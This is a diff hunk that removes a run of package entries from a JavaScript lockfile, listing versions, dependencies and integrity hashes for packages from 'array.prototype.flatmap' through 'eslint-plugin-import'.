- "array.prototype.flatmap": ["array.prototype.flatmap@1.3.3", "", { "dependencies": { "call-bind": "^1.0.8", "define-properties": "^1.2.1", "es-abstract": "^1.23.5", "es-shim-unscopables": "^1.0.2" } }, "sha512-Y7Wt51eKJSyi80hFrJCePGGNo5ktJCslFuboqJsbf57CCPcm5zztluPlc4/aD8sWsKvlwatezpV4U1efk8kpjg=="],
-
- "array.prototype.tosorted": ["array.prototype.tosorted@1.1.4", "", { "dependencies": { "call-bind": "^1.0.7", "define-properties": "^1.2.1", "es-abstract": "^1.23.3", "es-errors": "^1.3.0", "es-shim-unscopables": "^1.0.2" } }, "sha512-p6Fx8B7b7ZhL/gmUsAy0D15WhvDccw3mnGNbZpi3pmeJdxtWsj2jEaI4Y6oo3XiHfzuSgPwKc04MYt6KgvC/wA=="],
-
- "arraybuffer.prototype.slice": ["arraybuffer.prototype.slice@1.0.4", "", { "dependencies": { "array-buffer-byte-length": "^1.0.1", "call-bind": "^1.0.8", "define-properties": "^1.2.1", "es-abstract": "^1.23.5", "es-errors": "^1.3.0", "get-intrinsic": "^1.2.6", "is-array-buffer": "^3.0.4" } }, "sha512-BNoCY6SXXPQ7gF2opIP4GBE+Xw7U+pHMYKuzjgCN3GwiaIR09UUeKfheyIry77QtrCBlC0KK0q5/TER/tYh3PQ=="],
-
- "arrify": ["arrify@2.0.1", "", {}, "sha512-3duEwti880xqi4eAMN8AyR4a0ByT90zoYdLlevfrvU43vb0YZwZVfxOgxWrLXXXpyugL0hNZc9G6BiB5B3nUug=="],
-
- "ast-types-flow": ["ast-types-flow@0.0.8", "", {}, "sha512-OH/2E5Fg20h2aPrbe+QL8JZQFko0YZaF+j4mnQ7BGhfavO7OpSLa8a0y9sBwomHdSbkhTS8TQNayBfnW5DwbvQ=="],
-
- "available-typed-arrays": ["available-typed-arrays@1.0.7", "", { "dependencies": { "possible-typed-array-names": "^1.0.0" } }, "sha512-wvUjBtSGN7+7SjNpq/9M2Tg350UZD3q62IFZLbRAR1bSMlCo1ZaeW+BJ+D090e4hIIZLBcTDWe4Mh4jvUDajzQ=="],
-
- "axe-core": ["axe-core@4.10.2", "", {}, "sha512-RE3mdQ7P3FRSe7eqCWoeQ/Z9QXrtniSjp1wUjt5nRC3WIpz5rSCve6o3fsZ2aCpJtrZjSZgjwXAoTO5k4tEI0w=="],
-
- "axobject-query": ["axobject-query@4.1.0", "", {}, "sha512-qIj0G9wZbMGNLjLmg1PT6v2mE9AH2zlnADJD/2tC6E00hgmhUOfEB6greHPAfLRSufHqROIUTkw6E+M3lH0PTQ=="],
-
- "balanced-match": ["balanced-match@4.0.4", "", {}, "sha512-BLrgEcRTwX2o6gGxGOCNyMvGSp35YofuYzw9h1IMTRmKqttAZZVU67bdb9Pr2vUHA8+j3i2tJfjO6C6+4myGTA=="],
-
- "binary-extensions": ["binary-extensions@2.3.0", "", {}, "sha512-Ceh+7ox5qe7LJuLHoY0feh3pHuUDHAcRUeyL2VYghZwfpkNIy/+8Ocg0a3UuSoYzavmylwuLWQOf3hl0jjMMIw=="],
-
- "brace-expansion": ["brace-expansion@5.0.5", "", { "dependencies": { "balanced-match": "^4.0.2" } }, "sha512-VZznLgtwhn+Mact9tfiwx64fA9erHH/MCXEUfB/0bX/6Fz6ny5EGTXYltMocqg4xFAQZtnO3DHWWXi8RiuN7cQ=="],
-
- "braces": ["braces@3.0.3", "", { "dependencies": { "fill-range": "^7.1.1" } }, "sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA=="],
-
- "c12": ["c12@3.1.0", "", { "dependencies": { "chokidar": "^4.0.3", "confbox": "^0.2.2", "defu": "^6.1.4", "dotenv": "^16.6.1", "exsolve": "^1.0.7", "giget": "^2.0.0", "jiti": "^2.4.2", "ohash": "^2.0.11", "pathe": "^2.0.3", "perfect-debounce": "^1.0.0", "pkg-types": "^2.2.0", "rc9": "^2.1.2" }, "peerDependencies": { "magicast": "^0.3.5" }, "optionalPeers": ["magicast"] }, "sha512-uWoS8OU1MEIsOv8p/5a82c3H31LsWVR5qiyXVfBNOzfffjUWtPnhAb4BYI2uG2HfGmZmFjCtui5XNWaps+iFuw=="],
-
- "call-bind": ["call-bind@1.0.9", "", { "dependencies": { "call-bind-apply-helpers": "^1.0.2", "es-define-property": "^1.0.1", "get-intrinsic": "^1.3.0", "set-function-length": "^1.2.2" } }, "sha512-a/hy+pNsFUTR+Iz8TCJvXudKVLAnz/DyeSUo10I5yvFDQJBFU2s9uqQpoSrJlroHUKoKqzg+epxyP9lqFdzfBQ=="],
-
- "call-bind-apply-helpers": ["call-bind-apply-helpers@1.0.2", "", { "dependencies": { "es-errors": "^1.3.0", "function-bind": "^1.1.2" } }, "sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ=="],
-
- "call-bound": ["call-bound@1.0.4", "", { "dependencies": { "call-bind-apply-helpers": "^1.0.2", "get-intrinsic": "^1.3.0" } }, "sha512-+ys997U96po4Kx/ABpBCqhA9EuxJaQWDQg7295H4hBphv3IZg0boBKuwYpt4YXp6MZ5AmZQnU/tyMTlRpaSejg=="],
-
- "callsite": ["callsite@1.0.0", "", {}, "sha512-0vdNRFXn5q+dtOqjfFtmtlI9N2eVZ7LMyEV2iKC5mEEFvSg/69Ml6b/WU2qF8W1nLRa0wiSrDT3Y5jOHZCwKPQ=="],
-
- "callsites": ["callsites@3.1.0", "", {}, "sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ=="],
-
- "camelcase": ["camelcase@6.3.0", "", {}, "sha512-Gmy6FhYlCY7uOElZUSbxo2UCDH8owEk996gkbrpsgGtrJLM3J7jGxl9Ic7Qwwj4ivOE5AWZWRMecDdF7hqGjFA=="],
-
- "camelcase-css": ["camelcase-css@2.0.1", "", {}, "sha512-QOSvevhslijgYwRx6Rv7zKdMF8lbRmx+uQGx2+vDc+KI/eBnsy9kit5aj23AgGu3pa4t9AgwbnXWqS+iOY+2aA=="],
-
- "caniuse-lite": ["caniuse-lite@1.0.30001788", "", {}, "sha512-6q8HFp+lOQtcf7wBK+uEenxymVWkGKkjFpCvw5W25cmMwEDU45p1xQFBQv8JDlMMry7eNxyBaR+qxgmTUZkIRQ=="],
-
- "chalk": ["chalk@4.1.2", "", { "dependencies": { "ansi-styles": "^4.1.0", "supports-color": "^7.1.0" } }, "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA=="],
-
- "chokidar": ["chokidar@3.6.0", "", { "dependencies": { "anymatch": "~3.1.2", "braces": "~3.0.2", "glob-parent": "~5.1.2", "is-binary-path": "~2.1.0", "is-glob": "~4.0.1", "normalize-path": "~3.0.0", "readdirp": "~3.6.0" }, "optionalDependencies": { "fsevents": "~2.3.2" } }, "sha512-7VT13fmjotKpGipCW9JEQAusEPE+Ei8nl6/g4FBAmIm0GOOLMua9NDDo/DWp0ZAxCr3cPq5ZpBqmPAQgDda2Pw=="],
-
- "citty": ["citty@0.1.6", "", { "dependencies": { "consola": "^3.2.3" } }, "sha512-tskPPKEs8D2KPafUypv2gxwJP8h/OaJmC82QQGGDQcHvXX43xF2VDACcJVmZ0EuSxkpO9Kc4MlrA3q0+FG58AQ=="],
-
- "class-variance-authority": ["class-variance-authority@0.7.1", "", { "dependencies": { "clsx": "^2.1.1" } }, "sha512-Ka+9Trutv7G8M6WT6SeiRWz792K5qEqIGEGzXKhAE6xOWAY6pPH8U+9IY3oCMv6kqTmLsv7Xh/2w2RigkePMsg=="],
-
- "client-only": ["client-only@0.0.1", "", {}, "sha512-IV3Ou0jSMzZrd3pZ48nLkT9DA7Ag1pnPzaiQhpW7c3RbcqqzvzzVu+L8gfqMp/8IM2MQtSiqaCxrrcfu8I8rMA=="],
-
- "cliui": ["cliui@7.0.4", "", { "dependencies": { "string-width": "^4.2.0", "strip-ansi": "^6.0.0", "wrap-ansi": "^7.0.0" } }, "sha512-OcRE68cOsVMXp1Yvonl/fzkQOyjLSu/8bhPDfQt0e0/Eb283TKP20Fs2MqoPsr9SwA595rRCA+QMzYc9nBP+JQ=="],
-
- "clsx": ["clsx@2.1.1", "", {}, "sha512-eYm0QWBtUrBWZWG0d386OGAw16Z995PiOVo2B7bjWSbHedGl5e0ZWaq65kOGgUSNesEIDkB9ISbTg/JK9dhCZA=="],
-
- "color-convert": ["color-convert@2.0.1", "", { "dependencies": { "color-name": "~1.1.4" } }, "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ=="],
-
- "color-name": ["color-name@1.1.4", "", {}, "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="],
-
- "commander": ["commander@4.1.1", "", {}, "sha512-NOKm8xhkzAjzFx8B2v5OAHT+u5pRQc2UCa2Vq9jYL/31o2wi9mxBA7LIFs3sV5VSC49z6pEhfbMULvShKj26WA=="],
-
- "confbox": ["confbox@0.2.4", "", {}, "sha512-ysOGlgTFbN2/Y6Cg3Iye8YKulHw+R2fNXHrgSmXISQdMnomY6eNDprVdW9R5xBguEqI954+S6709UyiO7B+6OQ=="],
-
- "consola": ["consola@3.4.2", "", {}, "sha512-5IKcdX0nnYavi6G7TtOhwkYzyjfJlatbjMjuLSfE2kYT5pMDOilZ4OvMhi637CcDICTmz3wARPoyhqyX1Y+XvA=="],
-
- "cosmiconfig": ["cosmiconfig@7.1.0", "", { "dependencies": { "@types/parse-json": "^4.0.0", "import-fresh": "^3.2.1", "parse-json": "^5.0.0", "path-type": "^4.0.0", "yaml": "^1.10.0" } }, "sha512-AdmX6xUzdNASswsFtmwSt7Vj8po9IuqXm0UXz7QKPuEUmPB4XyjGfaAr2PSuELMwkRMVH1EpIkX5bTZGRB3eCA=="],
-
- "cross-spawn": ["cross-spawn@7.0.6", "", { "dependencies": { "path-key": "^3.1.0", "shebang-command": "^2.0.0", "which": "^2.0.1" } }, "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA=="],
-
- "cssesc": ["cssesc@3.0.0", "", { "bin": { "cssesc": "bin/cssesc" } }, "sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg=="],
-
- "csstype": ["csstype@3.2.3", "", {}, "sha512-z1HGKcYy2xA8AGQfwrn0PAy+PB7X/GSj3UVJW9qKyn43xWa+gl5nXmU4qqLMRzWVLFC8KusUX8T/0kCiOYpAIQ=="],
-
- "damerau-levenshtein": ["damerau-levenshtein@1.0.8", "", {}, "sha512-sdQSFB7+llfUcQHUQO3+B8ERRj0Oa4w9POWMI/puGtuf7gFywGmkaLCElnudfTiKZV+NvHqL0ifzdrI8Ro7ESA=="],
-
- "data-view-buffer": ["data-view-buffer@1.0.2", "", { "dependencies": { "call-bound": "^1.0.3", "es-errors": "^1.3.0", "is-data-view": "^1.0.2" } }, "sha512-EmKO5V3OLXh1rtK2wgXRansaK1/mtVdTUEiEI0W8RkvgT05kfxaH29PliLnpLP73yYO6142Q72QNa8Wx/A5CqQ=="],
-
- "data-view-byte-length": ["data-view-byte-length@1.0.2", "", { "dependencies": { "call-bound": "^1.0.3", "es-errors": "^1.3.0", "is-data-view": "^1.0.2" } }, "sha512-tuhGbE6CfTM9+5ANGf+oQb72Ky/0+s3xKUpHvShfiz2RxMFgFPjsXuRLBVMtvMs15awe45SRb83D6wH4ew6wlQ=="],
-
- "data-view-byte-offset": ["data-view-byte-offset@1.0.1", "", { "dependencies": { "call-bound": "^1.0.2", "es-errors": "^1.3.0", "is-data-view": "^1.0.1" } }, "sha512-BS8PfmtDGnrgYdOonGZQdLZslWIeCGFP9tpan0hi1Co2Zr2NKADsvGYA8XxuG/4UWgJ6Cjtv+YJnB6MM69QGlQ=="],
-
- "debug": ["debug@4.3.7", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-Er2nc/H7RrMXZBFCEim6TCmMk02Z8vLC2Rbi1KEBggpo0fS6l0S1nnapwmIi3yW/+GOJap1Krg4w0Hg80oCqgQ=="],
-
- "deep-is": ["deep-is@0.1.4", "", {}, "sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ=="],
-
- "deepmerge-ts": ["deepmerge-ts@7.1.5", "", {}, "sha512-HOJkrhaYsweh+W+e74Yn7YStZOilkoPb6fycpwNLKzSPtruFs48nYis0zy5yJz1+ktUhHxoRDJ27RQAWLIJVJw=="],
-
- "define-data-property": ["define-data-property@1.1.4", "", { "dependencies": { "es-define-property": "^1.0.0", "es-errors": "^1.3.0", "gopd": "^1.0.1" } }, "sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A=="],
-
- "define-properties": ["define-properties@1.2.1", "", { "dependencies": { "define-data-property": "^1.0.1", "has-property-descriptors": "^1.0.0", "object-keys": "^1.1.1" } }, "sha512-8QmQKqEASLd5nx0U1B1okLElbUuuttJ/AnYmRXbbbGDWh6uS208EjD4Xqq/I9wK7u0v6O08XhTWnt5XtEbR6Dg=="],
-
- "defu": ["defu@6.1.7", "", {}, "sha512-7z22QmUWiQ/2d0KkdYmANbRUVABpZ9SNYyH5vx6PZ+nE5bcC0l7uFvEfHlyld/HcGBFTL536ClDt3DEcSlEJAQ=="],
-
- "depcheck": ["depcheck@1.4.7", "", { "dependencies": { "@babel/parser": "^7.23.0", "@babel/traverse": "^7.23.2", "@vue/compiler-sfc": "^3.3.4", "callsite": "^1.0.0", "camelcase": "^6.3.0", "cosmiconfig": "^7.1.0", "debug": "^4.3.4", "deps-regex": "^0.2.0", "findup-sync": "^5.0.0", "ignore": "^5.2.4", "is-core-module": "^2.12.0", "js-yaml": "^3.14.1", "json5": "^2.2.3", "lodash": "^4.17.21", "minimatch": "^7.4.6", "multimatch": "^5.0.0", "please-upgrade-node": "^3.2.0", "readdirp": "^3.6.0", "require-package-name": "^2.0.1", "resolve": "^1.22.3", "resolve-from": "^5.0.0", "semver": "^7.5.4", "yargs": "^16.2.0" }, "bin": { "depcheck": "bin/depcheck.js" } }, "sha512-1lklS/bV5chOxwNKA/2XUUk/hPORp8zihZsXflr8x0kLwmcZ9Y9BsS6Hs3ssvA+2wUVbG0U2Ciqvm1SokNjPkA=="],
-
- "deps-regex": ["deps-regex@0.2.0", "", {}, "sha512-PwuBojGMQAYbWkMXOY9Pd/NWCDNHVH12pnS7WHqZkTSeMESe4hwnKKRp0yR87g37113x4JPbo/oIvXY+s/f56Q=="],
-
- "destr": ["destr@2.0.5", "", {}, "sha512-ugFTXCtDZunbzasqBxrK93Ik/DRYsO6S/fedkWEMKqt04xZ4csmnmwGDBAb07QWNaGMAmnTIemsYZCksjATwsA=="],
-
- "detect-file": ["detect-file@1.0.0", "", {}, "sha512-DtCOLG98P007x7wiiOmfI0fi3eIKyWiLTGJ2MDnVi/E04lWGbf+JzrRHMm0rgIIZJGtHpKpbVgLWHrv8xXpc3Q=="],
-
- "detect-libc": ["detect-libc@2.1.2", "", {}, "sha512-Btj2BOOO83o3WyH59e8MgXsxEQVcarkUOpEYrubB0urwnN10yQ364rsiByU11nZlqWYZm05i/of7io4mzihBtQ=="],
-
- "detect-node-es": ["detect-node-es@1.1.0", "", {}, "sha512-ypdmJU/TbBby2Dxibuv7ZLW3Bs1QEmM7nHjEANfohJLvE0XVujisn1qPJcZxg+qDucsr+bP6fLD1rPS3AhJ7EQ=="],
-
- "didyoumean": ["didyoumean@1.2.2", "", {}, "sha512-gxtyfqMg7GKyhQmb056K7M3xszy/myH8w+B4RT+QXBQsvAOdc3XymqDDPHx1BgPgsdAA5SIifona89YtRATDzw=="],
-
- "dlv": ["dlv@1.1.3", "", {}, "sha512-+HlytyjlPKnIG8XuRG8WvmBP8xs8P71y+SKKS6ZXWoEgLuePxtDoUEiH7WkdePWrQ5JBpE6aoVqfZfJUQkjXwA=="],
-
- "doctrine": ["doctrine@3.0.0", "", { "dependencies": { "esutils": "^2.0.2" } }, "sha512-yS+Q5i3hBf7GBkd4KG8a7eBNNWNGLTaEwwYWUijIYM7zrlYDM0BFXHjjPWlWZ1Rg7UaddZeIDmi9jF3HmqiQ2w=="],
-
- "dotenv": ["dotenv@16.6.1", "", {}, "sha512-uBq4egWHTcTt33a72vpSG0z3HnPuIl6NqYcTrKEg2azoEyl2hpW0zqlxysq2pK9HlDIHyHyakeYaYnSAwd8bow=="],
-
- "dunder-proto": ["dunder-proto@1.0.1", "", { "dependencies": { "call-bind-apply-helpers": "^1.0.1", "es-errors": "^1.3.0", "gopd": "^1.2.0" } }, "sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A=="],
-
- "effect": ["effect@3.21.0", "", { "dependencies": { "@standard-schema/spec": "^1.0.0", "fast-check": "^3.23.1" } }, "sha512-PPN80qRokCd1f015IANNhrwOnLO7GrrMQfk4/lnZRE/8j7UPWrNNjPV0uBrZutI/nHzernbW+J0hdqQysHiSnQ=="],
-
- "emoji-regex": ["emoji-regex@9.2.2", "", {}, "sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg=="],
-
- "empathic": ["empathic@2.0.0", "", {}, "sha512-i6UzDscO/XfAcNYD75CfICkmfLedpyPDdozrLMmQc5ORaQcdMoc21OnlEylMIqI7U8eniKrPMxxtj8k0vhmJhA=="],
-
- "enhanced-resolve": ["enhanced-resolve@5.17.1", "", { "dependencies": { "graceful-fs": "^4.2.4", "tapable": "^2.2.0" } }, "sha512-LMHl3dXhTcfv8gM4kEzIUeTQ+7fpdA0l2tUf34BddXPkz2A5xJ5L/Pchd5BL6rdccM9QGvu0sWZzK1Z1t4wwyg=="],
-
- "entities": ["entities@7.0.1", "", {}, "sha512-TWrgLOFUQTH994YUyl1yT4uyavY5nNB5muff+RtWaqNVCAK408b5ZnnbNAUEWLTCpum9w6arT70i1XdQ4UeOPA=="],
-
- "error-ex": ["error-ex@1.3.4", "", { "dependencies": { "is-arrayish": "^0.2.1" } }, "sha512-sqQamAnR14VgCr1A618A3sGrygcpK+HEbenA/HiEAkkUwcZIIB/tgWqHFxWgOyDh4nB4JCRimh79dR5Ywc9MDQ=="],
-
- "es-abstract": ["es-abstract@1.24.2", "", { "dependencies": { "array-buffer-byte-length": "^1.0.2", "arraybuffer.prototype.slice": "^1.0.4", "available-typed-arrays": "^1.0.7", "call-bind": "^1.0.8", "call-bound": "^1.0.4", "data-view-buffer": "^1.0.2", "data-view-byte-length": "^1.0.2", "data-view-byte-offset": "^1.0.1", "es-define-property": "^1.0.1", "es-errors": "^1.3.0", "es-object-atoms": "^1.1.1", "es-set-tostringtag": "^2.1.0", "es-to-primitive": "^1.3.0", "function.prototype.name": "^1.1.8", "get-intrinsic": "^1.3.0", "get-proto": "^1.0.1", "get-symbol-description": "^1.1.0", "globalthis": "^1.0.4", "gopd": "^1.2.0", "has-property-descriptors": "^1.0.2", "has-proto": "^1.2.0", "has-symbols": "^1.1.0", "hasown": "^2.0.2", "internal-slot": "^1.1.0", "is-array-buffer": "^3.0.5", "is-callable": "^1.2.7", "is-data-view": "^1.0.2", "is-negative-zero": "^2.0.3", "is-regex": "^1.2.1", "is-set": "^2.0.3", "is-shared-array-buffer": "^1.0.4", "is-string": "^1.1.1", "is-typed-array": "^1.1.15", "is-weakref": "^1.1.1", "math-intrinsics": "^1.1.0", "object-inspect": "^1.13.4", "object-keys": "^1.1.1", "object.assign": "^4.1.7", "own-keys": "^1.0.1", "regexp.prototype.flags": "^1.5.4", "safe-array-concat": "^1.1.3", "safe-push-apply": "^1.0.0", "safe-regex-test": "^1.1.0", "set-proto": "^1.0.0", "stop-iteration-iterator": "^1.1.0", "string.prototype.trim": "^1.2.10", "string.prototype.trimend": "^1.0.9", "string.prototype.trimstart": "^1.0.8", "typed-array-buffer": "^1.0.3", "typed-array-byte-length": "^1.0.3", "typed-array-byte-offset": "^1.0.4", "typed-array-length": "^1.0.7", "unbox-primitive": "^1.1.0", "which-typed-array": "^1.1.19" } }, "sha512-2FpH9Q5i2RRwyEP1AylXe6nYLR5OhaJTZwmlcP0dL/+JCbgg7yyEo/sEK6HeGZRf3dFpWwThaRHVApXSkW3xeg=="],
-
- "es-define-property": ["es-define-property@1.0.1", "", {}, "sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g=="],
-
- "es-errors": ["es-errors@1.3.0", "", {}, "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw=="],
-
- "es-iterator-helpers": ["es-iterator-helpers@1.2.0", "", { "dependencies": { "call-bind": "^1.0.7", "define-properties": "^1.2.1", "es-abstract": "^1.23.3", "es-errors": "^1.3.0", "es-set-tostringtag": "^2.0.3", "function-bind": "^1.1.2", "get-intrinsic": "^1.2.4", "globalthis": "^1.0.4", "gopd": "^1.0.1", "has-property-descriptors": "^1.0.2", "has-proto": "^1.0.3", "has-symbols": "^1.0.3", "internal-slot": "^1.0.7", "iterator.prototype": "^1.1.3", "safe-array-concat": "^1.1.2" } }, "sha512-tpxqxncxnpw3c93u8n3VOzACmRFoVmWJqbWXvX/JfKbkhBw1oslgPrUfeSt2psuqyEJFD6N/9lg5i7bsKpoq+Q=="],
-
- "es-object-atoms": ["es-object-atoms@1.1.1", "", { "dependencies": { "es-errors": "^1.3.0" } }, "sha512-FGgH2h8zKNim9ljj7dankFPcICIK9Cp5bm+c2gQSYePhpaG5+esrLODihIorn+Pe6FGJzWhXQotPv73jTaldXA=="],
-
- "es-set-tostringtag": ["es-set-tostringtag@2.0.3", "", { "dependencies": { "get-intrinsic": "^1.2.4", "has-tostringtag": "^1.0.2", "hasown": "^2.0.1" } }, "sha512-3T8uNMC3OQTHkFUsFq8r/BwAXLHvU/9O9mE0fBc/MY5iq/8H7ncvO947LmYA6ldWw9Uh8Yhf25zu6n7nML5QWQ=="],
-
- "es-shim-unscopables": ["es-shim-unscopables@1.1.0", "", { "dependencies": { "hasown": "^2.0.2" } }, "sha512-d9T8ucsEhh8Bi1woXCf+TIKDIROLG5WCkxg8geBCbvk22kzwC5G2OnXVMO6FUsvQlgUUXQ2itephWDLqDzbeCw=="],
-
- "es-to-primitive": ["es-to-primitive@1.3.0", "", { "dependencies": { "is-callable": "^1.2.7", "is-date-object": "^1.0.5", "is-symbol": "^1.0.4" } }, "sha512-w+5mJ3GuFL+NjVtJlvydShqE1eN3h3PbI7/5LAsYJP/2qtuMXjfL2LpHSRqo4b4eSF5K/DH1JXKUAHSB2UW50g=="],
-
- "escalade": ["escalade@3.2.0", "", {}, "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA=="],
-
- "escape-string-regexp": ["escape-string-regexp@4.0.0", "", {}, "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA=="],
-
- "eslint": ["eslint@8.57.1", "", { "dependencies": { "@eslint-community/eslint-utils": "^4.2.0", "@eslint-community/regexpp": "^4.6.1", "@eslint/eslintrc": "^2.1.4", "@eslint/js": "8.57.1", "@humanwhocodes/config-array": "^0.13.0", "@humanwhocodes/module-importer": "^1.0.1", "@nodelib/fs.walk": "^1.2.8", "@ungap/structured-clone": "^1.2.0", "ajv": "^6.12.4", "chalk": "^4.0.0", "cross-spawn": "^7.0.2", "debug": "^4.3.2", "doctrine": "^3.0.0", "escape-string-regexp": "^4.0.0", "eslint-scope": "^7.2.2", "eslint-visitor-keys": "^3.4.3", "espree": "^9.6.1", "esquery": "^1.4.2", "esutils": "^2.0.2", "fast-deep-equal": "^3.1.3", "file-entry-cache": "^6.0.1", "find-up": "^5.0.0", "glob-parent": "^6.0.2", "globals": "^13.19.0", "graphemer": "^1.4.0", "ignore": "^5.2.0", "imurmurhash": "^0.1.4", "is-glob": "^4.0.0", "is-path-inside": "^3.0.3", "js-yaml": "^4.1.0", "json-stable-stringify-without-jsonify": "^1.0.1", "levn": "^0.4.1", "lodash.merge": "^4.6.2", "minimatch": "^3.1.2", "natural-compare": "^1.4.0", "optionator": "^0.9.3", "strip-ansi": "^6.0.1", "text-table": "^0.2.0" }, "bin": { "eslint": "bin/eslint.js" } }, "sha512-ypowyDxpVSYpkXr9WPv2PAZCtNip1Mv5KTW0SCurXv/9iOpcrH9PaqUElksqEB6pChqHGDRCFTyrZlGhnLNGiA=="],
-
- "eslint-config-next": ["eslint-config-next@15.5.15", "", { "dependencies": { "@next/eslint-plugin-next": "15.5.15", "@rushstack/eslint-patch": "^1.10.3", "@typescript-eslint/eslint-plugin": "^5.4.2 || ^6.0.0 || ^7.0.0 || ^8.0.0", "@typescript-eslint/parser": "^5.4.2 || ^6.0.0 || ^7.0.0 || ^8.0.0", "eslint-import-resolver-node": "^0.3.6", "eslint-import-resolver-typescript": "^3.5.2", "eslint-plugin-import": "^2.31.0", "eslint-plugin-jsx-a11y": "^6.10.0", "eslint-plugin-react": "^7.37.0", "eslint-plugin-react-hooks": "^5.0.0" }, "peerDependencies": { "eslint": "^7.23.0 || ^8.0.0 || ^9.0.0", "typescript": ">=3.3.1" }, "optionalPeers": ["typescript"] }, "sha512-mI5KIONOIosjF3jK2z9a8fY2LePNeW5C4lRJ+XZoJHAKkwx2MQjMPQ2/kL7tsMRPcQPZc/UBtCfqxElluL1CBg=="],
-
- "eslint-import-resolver-node": ["eslint-import-resolver-node@0.3.9", "", { "dependencies": { "debug": "^3.2.7", "is-core-module": "^2.13.0", "resolve": "^1.22.4" } }, "sha512-WFj2isz22JahUv+B788TlO3N6zL3nNJGU8CcZbPZvVEkBPaJdCV4vy5wyghty5ROFbCRnm132v8BScu5/1BQ8g=="],
-
- "eslint-import-resolver-typescript": ["eslint-import-resolver-typescript@3.6.3", "", { "dependencies": { "@nolyfill/is-core-module": "1.0.39", "debug": "^4.3.5", "enhanced-resolve": "^5.15.0", "eslint-module-utils": "^2.8.1", "fast-glob": "^3.3.2", "get-tsconfig": "^4.7.5", "is-bun-module": "^1.0.2", "is-glob": "^4.0.3" }, "peerDependencies": { "eslint": "*", "eslint-plugin-import": "*", "eslint-plugin-import-x": "*" }, "optionalPeers": ["eslint-plugin-import-x"] }, "sha512-ud9aw4szY9cCT1EWWdGv1L1XR6hh2PaRWif0j2QjQ0pgTY/69iw+W0Z4qZv5wHahOl8isEr+k/JnyAqNQkLkIA=="],
-
- "eslint-module-utils": ["eslint-module-utils@2.12.0", "", { "dependencies": { "debug": "^3.2.7" } }, "sha512-wALZ0HFoytlyh/1+4wuZ9FJCD/leWHQzzrxJ8+rebyReSLk7LApMyd3WJaLVoN+D5+WIdJyDK1c6JnE65V4Zyg=="],
-
- "eslint-plugin-import": ["eslint-plugin-import@2.32.0", "", { "dependencies": { "@rtsao/scc": "^1.1.0", "array-includes": "^3.1.9", "array.prototype.findlastindex": "^1.2.6", "array.prototype.flat": "^1.3.3", "array.prototype.flatmap": "^1.3.3", "debug": "^3.2.7", "doctrine": "^2.1.0", "eslint-import-resolver-node": "^0.3.9", "eslint-module-utils": "^2.12.1", "hasown": "^2.0.2", "is-core-module": "^2.16.1", "is-glob": "^4.0.3", "minimatch": "^3.1.2", "object.fromentries": "^2.0.8", "object.groupby": "^1.0.3", "object.values": "^1.2.1", "semver": "^6.3.1", "string.prototype.trimend": "^1.0.9", "tsconfig-paths": "^3.15.0" }, "peerDependencies": { "eslint": "^2 || ^3 || ^4 || ^5 || ^6 || ^7.2.0 || ^8 || ^9" } }, "sha512-whOE1HFo/qJDyX4SnXzP4N6zOWn79WhnCUY/iDR0mPfQZO8wcYE4JClzI2oZrhBnnMUCBCHZhO6VQyoBU95mZA=="],
-
